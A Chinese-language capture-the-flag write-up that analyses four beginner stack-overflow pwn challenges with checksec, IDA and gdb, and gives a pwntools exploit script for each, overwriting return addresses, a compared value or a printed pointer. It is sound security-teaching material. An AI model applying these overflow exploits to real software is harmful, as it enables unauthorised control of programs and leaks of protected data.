本系列為i春秋論壇上Tangerine@SAINTSEC大神所寫的linux pwn入門系列相關習題的分析與解答。
原教程系列地址:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157
1、csaw ctf 2016 quals-warmup
拿到題目,checksec分析保護情況
發現任何保護都未開啟(當然系統自帶的ASLR除外)。
用file ./warmup命令查看文件格式
發現為64位動態鏈接的ELF程序,但是題目並沒有提供libc。
丟進64位ida中分析
在main函數中發現函數sub_40060D很可疑,進入函數觀察
發現該函數是一個直接查看flag的程序,可以作為后門使用。
返回到main函數我們發現4個write函數用於打印字符,sprintf函數用於將flag的值保存到s中,此函數存在棧溢出風險,但是此處並不溢出。在return函數出發現gets函數,此函數可以讀取任意字節的數據,存在溢出風險,並可以溢出到返回值。
現在我們需要計算輸入點到返回值之間的距離,有兩個方法。第一,通過ida分析可以看到存在棧溢出的v5位於[rbp-40h]處,rbp又位於返回值上方,那么ret則位於40+8=0x48,即輸入0x48個字節后+0x40060D即可跳轉到后門函數讀取flag的值。第二種方法通過gdb的peda插件,調試到輸入點之前通過pattern create xxx生成xxx個字符(該字符特點為任意4個字符一組不重復)
隨后,當到達輸入點時即將上述字符輸入,借着ni步過,直到ret
此處我們將棧頂的前4個字符復制(IAAe),然后通過pattern offset IAAe計算偏移為72,與上述相符。
因此,完整的exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./warmup') 7 8 get_flag_addr = 0x40060d 9 10 payload = '' 11 payload += 'A'*72 12 payload += p64(get_flag_addr) 13 14 print io.recv() 15 io.sendline(payload) 16 print io.recv()
2、EasyCTF 2017-doubly_dangerous
拿到題目分析checksec安全措施,file查看文件類型
發現該函數開啟了NX保護(堆棧不可執行),文件格式為32位動態鏈接的ELF程序。
運行一下看看
發現需要提供一串字符串,然后返回nope!那么我們嘗試多輸入一些字符
發現發生了棧溢出!
因此,將其扔到32位ida中分析。
觀察到有gets函數,必然存在溢出,可是在通過gets溢出時調試出錯,無法返回到后門函數中,因此換個思路。觀察到通過gets輸入一串字符串必須使得v5==11.28125來得到flag,此處我使用ida的遠程調試功能(關於ida遠程調試請看原帖第0節環境搭建)
此處位於輸入函數的下方,功能為進行比較,也就對應於上方的if語句。
通過比較可以發現實際比較的是ebp-0xC和0x804876C處的值是否相等。
我們通過內存窗口按g跳轉到該地址出觀察得知值為0x41348000(注意存儲方式)。
最后,我們需要測試偏移,由於不是測試到返回值的偏移,因此不能使用上述方法。此時我們使用gdb調試輸入來探測偏移。
通過調試發現,我們的輸入位於棧頂保存的地址內,為0xffffd4cc,而此時$ebp-0xc處於0xffffd50c,我們可以計算偏移得0xffffd50c - 0xffffd4cc = 0x40,因此我們只需要輸入64個字符后接之前探測出的值0x41348000后即可得到flag。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./doubly_dangerous') 7 8 payload = '' 9 payload += 'A'*64 10 payload += p32(0x41348000) 11 12 print io.recv() 13 io.sendline(payload) 14 print io.recv() 15 print io.recv()
3、sCTF 2016 q1-pwn1
拿到題目分析checksec安全措施,file查看文件類型
發現題目開啟NX保護,並且為32位動態鏈接的ELF程序。
嘗試運行
發現題目要求輸入一串字符串,然后反饋給你你輸入的字符串。
進入32位ida分析
Main函數很簡單,進入函數vuln()
觀察變量和語句,發現可能存在溢出的地方為fgets,但是s在棧中距離ebp有3C的距離,而fgets只能輸入32個字符,遠遠無法到達ebp或者ret。繼續往下看,發現replace函數,字面意思替換,又看到you和I字符,猜想是否有可能將I替換成you字符,我們執行程序試一下
我們發現猜想正確。我們注意到函數最后有strcpy函數,他將v0即我們的輸入后替換的字符串保存到s中,由於我們輸入一個I實際上拷貝入s的是3個字符,3*32=96>0x3c,發生棧溢出。我們通過輸入21個I另外加一個任意字符(因為21個I為21個you,即為63個字符,需要額外一個字符填充到64字符)之后加上get_flag函數的地址即覆蓋函數返回值劫持成功。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./pwn1') 7 8 get_flag_addr = 0x08048f0d 9 10 payload = '' 11 payload += 'I'*21+'a' 12 payload += p32(get_flag_addr) 13 io.sendline(payload) 14 print io.recv()
4、Tokyo West CTF 3rd 2017-just_do_it
拿到題目分析checksec安全措施,file查看文件類型
發現開啟了NX保護,文件類型為32位動態鏈接的ELF文件。
嘗試運行程序,發現會讓你輸入密碼,隨意輸入一組字符串返回密碼不正確,然后程序結束。
進入32位ida分析
我們觀察到程序流程大概是將flag讀取並保存到一個全局變量中,在程序最后比較輸入,正確則打印正確否則打印錯誤。我們觀察s位於[ebp-0x20]處,輸入的fgets最多輸入32個字符,無法覆蓋到ret。但是我們發現puts所打印的參數v6位於[ebp-Ch]相距輸入點s只有20字符就可以覆蓋到。又由於程序將flag讀取到了全局變量中,因此可以通過輸入覆蓋v6為flag從而打印出flag。
完整exp如下:
1 #!/usr/bin/python 2 #coding:utf-8 3 4 from pwn import * 5 6 io = process('./just_do_it') 7 8 flag_addr = 0x0804A080 9 10 payload = '' 11 payload += 'A'*20 12 payload += p64(flag_addr) 13 print io.recv() 14 io.sendline(payload) 15 print io.recv()